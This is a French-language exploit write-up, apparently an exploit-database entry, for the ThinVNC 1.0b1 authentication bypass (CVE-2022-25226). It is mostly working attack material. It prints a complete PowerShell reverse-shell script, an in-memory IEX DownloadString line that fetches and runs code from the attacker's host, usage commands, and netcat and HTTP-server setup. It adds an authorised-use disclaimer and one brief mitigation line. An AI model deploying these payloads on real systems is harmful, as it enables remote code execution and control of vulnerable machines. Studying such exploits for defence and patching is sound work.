
Script d'exploitation Python pour le contournement d'authentification ThinVNC 1.0b1 (CVE-2022-25226) qui enchaîne l'accès non authentifié au point de terminaison /cmd avec le contournement AMSI et l'injection de presse-papiers pour fournir un shell inversé.
Auteur : krill-x7
Référence : https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 contient une vulnérabilité de contournement d'authentification (CVE-2022-25226) permettant à des attaquants distants d'interagir avec le backend sans authentification. En exploitant les points d'accès /cmd exposés, les attaquants peuvent simuler des frappes clavier, ouvrir PowerShell, contourner l'AMSI et exécuter des commandes arbitraires, menant finalement à une exécution de code à distance (RCE).
Ce script enchaîne ces primitives pour obtenir un shell inversé sur le système cible.
Ce code est fourni à des fins éducatives uniquement.
Utilisez-le uniquement sur des systèmes dont vous êtes propriétaire ou que vous êtes explicitement autorisé à tester.
rev.ps1 hébergé sur votre machine attaquantepython3 thinvnc_rce.py -t <IP_CIBLE> -tp <PORT_CIBLE> -a <IP_ATTAQUANT> -ap <PORT_ATTAQUANT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1Enregistrez ceci dans un fichier nommé rev.ps1.
Important : Remplacez 192.168.1.200 et 8000 par l'IP et le port d'écoute de votre attaquant.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1Depuis le même répertoire :
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect./cmd?cmd=start.Ctrl+Échap pour ouvrir le menu Démarrer.Voici le payload exécuté en mémoire :
IEX((New-Object System.Net.WebClient).DownloadString('http://<IP_ATTAQUANT>:<PORT>/rev.ps1'))
Remplacez <IP_ATTAQUANT> et <PORT> par votre IP et port réels.
/cmd via la configuration du serveur web ou un WAF.